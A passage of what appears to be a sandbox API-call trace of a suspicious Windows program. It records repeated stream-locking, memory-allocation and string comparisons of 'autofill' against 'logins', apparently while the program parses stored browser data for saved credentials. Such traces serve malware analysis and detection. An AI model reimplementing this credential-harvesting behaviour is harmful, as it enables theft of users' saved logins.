dwLockType=0x0) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e560, libOffset=0x6459, cb=0x0, dwLockType=0x0) returned 0x0 [0054.782] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e560, libOffset=0x645a, cb=0x0, dwLockType=0x0) returned 0x0 [0054.782] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.782] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75e920 [0054.782] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef7d4 | out: ppstm=0xef7d4*=0x76e6f0) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e560, libOffset=0x645b, cb=0x0, dwLockType=0x0) returned 0x0 [0054.782] IStream:SetSize (This=0x76e560, libNewSize=0x75e920) returned 0x0 [0054.782] IStream:Commit (This=0x76e6f0, grfCommitFlags=0x75e920) returned 0x0 [0054.782] LocalFree (hMem=0x75e920) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.782] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.782] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x763a18 [0054.782] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e6f0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.782] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e6f0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0054.783] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e6f0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0054.783] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e6f0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0054.783] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e6f0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.783] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.783] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x763978 [0054.783] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x940a908 [0054.783] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e6f0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.783] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.783] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x76aa68 [0054.783] LocalFree (hMem=0x940a908) returned 0x0 [0054.783] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x7590a8 [0054.783] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e6f0, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0054.783] IStream:SetSize (This=0x76e6f0, libNewSize=0x7590a8) returned 0x0 [0054.783] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754f00 [0054.783] LocalFree (hMem=0x7590a8) returned 0x0 [0054.783] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x940a908 [0054.783] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e6f0, libOffset=0x26, cb=0x0, dwLockType=0x0) returned 0x0 [0054.783] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.783] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x76a9d0 [0054.783] LocalFree (hMem=0x940a908) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e6f0, libOffset=0x2e, cb=0x0, dwLockType=0x0) returned 0x0 [0054.783] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77b) returned 0x0 [0054.783] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x76a770 [0054.783] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x940a908 [0054.783] LocalFree (hMem=0x763a18) returned 0x0 [0054.783] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.783] lstrcmpiA (lpString1="autofill", lpString2="logins") returned -1 [0054.783] LocalFree (hMem=0x76aa68) returned 0x0 [0054.783] LocalFree (hMem=0x754f00) returned 0x0 [0054.783] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.783] LocalFree (hMem=0x76a770) returned 0x0 [0054.783] LocalFree (hMem=0x940a908) returned 0x0 [0054.783] LocalFree (hMem=0x763978) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e560, libOffset=0x632b, cb=0x0, dwLockType=0x0) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e560, libOffset=0x632b, cb=0x0, dwLockType=0x0) returned 0x0 [0054.783] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e560, libOffset=0x632c, cb=0x0, dwLockType=0x0) returned 0x0 [0054.783] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.783] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75e920 [0054.783] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef7d4 | out: ppstm=0xef7d4*=0x76e6f0) returned 0x0 [0054.783] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e560, libOffset=0x632d, cb=0x0, dwLockType=0x0) returned 0x0 [0054.784] IStream:SetSize (This=0x76e560, libNewSize=0x75e920) returned 0x0 [0054.784] IStream:Commit (This=0x76e6f0, grfCommitFlags=0x75e920) returned 0x0 [0054.784] LocalFree (hMem=0x75e920) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.784] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.784] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x763978 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.784] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0054.784] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0054.784] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0054.784] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.784] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.784] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x763a18 [0054.784] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x940a908 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.784] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.784] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x76a770 [0054.784] LocalFree (hMem=0x940a908) returned 0x0 [0054.784] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x76a9d0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0054.784] IStream:SetSize (This=0x76e6f0, libNewSize=0x76a9d0) returned 0x0 [0054.784] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x764558 [0054.784] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.784] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x940a908 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x18, cb=0x0, dwLockType=0x0) returned 0x0 [0054.784] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.784] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x76a9d0 [0054.784] LocalFree (hMem=0x940a908) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x20, cb=0x0, dwLockType=0x0) returned 0x0 [0054.784] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77b) returned 0x0 [0054.784] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x76aa68 [0054.784] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x751178 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.784] IStream:LockRegion (This=0x76e6f0, libOffset=0x21, cb=0x0, dwLockType=0x0) returned 0x0 [0054.784] IStream:SetSize (This=0x76e6f0, libNewSize=0x751178) returned 0x0 [0054.784] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x756820 [0054.785] LocalFree (hMem=0x751178) returned 0x0 [0054.785] LocalFree (hMem=0x763978) returned 0x0 [0054.785] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.785] lstrcmpiA (lpString1="autofill", lpString2="logins") returned -1 [0054.785] LocalFree (hMem=0x76a770) returned 0x0 [0054.785] LocalFree (hMem=0x764558) returned 0x0 [0054.785] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.785] LocalFree (hMem=0x76aa68) returned 0x0 [0054.785] LocalFree (hMem=0x756820) returned 0x0 [0054.785] LocalFree (hMem=0x763a18) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e560, libOffset=0x62b5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e560, libOffset=0x62b5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.785] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e560, libOffset=0x62b6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.785] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.785] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75e920 [0054.785] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef7d4 | out: ppstm=0xef7d4*=0x76e6f0) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e560, libOffset=0x62b7, cb=0x0, dwLockType=0x0) returned 0x0 [0054.785] IStream:SetSize (This=0x76e560, libNewSize=0x75e920) returned 0x0 [0054.785] IStream:Commit (This=0x76e6f0, grfCommitFlags=0x75e920) returned 0x0 [0054.785] LocalFree (hMem=0x75e920) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.785] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.785] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x763a18 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.785] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0054.785] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0054.785] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0054.785] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.785] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.785] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.785] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x764558 [0054.785] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x940a908 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.785] IStream:LockRegion (This=0x76e6f0, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0054.786] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.786] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x76aa68 [0054.786] LocalFree (hMem=0x940a908) returned 0x0 [0054.786] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x7590a8 [0054.786] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e6f0, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0054.786] IStream:SetSize (This=0x76e6f0, libNewSize=0x7590a8) returned 0x0 [0054.786] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754f00 [0054.786] LocalFree (hMem=0x7590a8) returned 0x0 [0054.786] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x940a908 [0054.786] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e6f0, libOffset=0x25, cb=0x0, dwLockType=0x0) returned 0x0 [0054.786] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.786] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x76a9d0 [0054.786] LocalFree (hMem=0x940a908) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e6f0, libOffset=0x2d, cb=0x0, dwLockType=0x0) returned 0x0 [0054.786] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77b) returned 0x0 [0054.786] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x76a770 [0054.786] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x7687d8 [0054.786] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e6f0, libOffset=0x2e, cb=0x0, dwLockType=0x0) returned 0x0 [0054.786] IStream:SetSize (This=0x76e6f0, libNewSize=0x7687d8) returned 0x0 [0054.786] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x9403c80 [0054.786] LocalFree (hMem=0x7687d8) returned 0x0 [0054.786] LocalFree (hMem=0x763a18) returned 0x0 [0054.786] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.786] lstrcmpiA (lpString1="autofill", lpString2="logins") returned -1 [0054.786] LocalFree (hMem=0x76aa68) returned 0x0 [0054.786] LocalFree (hMem=0x754f00) returned 0x0 [0054.786] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.786] LocalFree (hMem=0x76a770) returned 0x0 [0054.786] LocalFree (hMem=0x9403c80) returned 0x0 [0054.786] LocalFree (hMem=0x764558) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e560, libOffset=0x6147, cb=0x0, dwLockType=0x0) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e560, libOffset=0x6147, cb=0x0, dwLockType=0x0) returned 0x0 [0054.786] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e560, libOffset=0x6148, cb=0x0, dwLockType=0x0) returned 0x0 [0054.786] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e560, libOffset=0x6149, cb=0x0, dwLockType=0x0) returned 0x0 [0054.786] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.786] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75e920 [0054.786] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef7d4 | out: ppstm=0xef7d4*=0x76e6f0) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e560, libOffset=0x614a, cb=0x0, dwLockType=0x0) returned 0x0 [0054.786] IStream:SetSize (This=0x76e560, libNewSize=0x75e920) returned 0x0 [0054.786] IStream:Commit (This=0x76e6f0, grfCommitFlags=0x75e920) returned 0x0 [0054.786] LocalFree (hMem=0x75e920) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.786] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.787] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.787] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x764558 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.787] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0054.787] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.787] IStream:LockRegion (This=0x76e6f0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0054.787] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.787] IStream:LockRegion 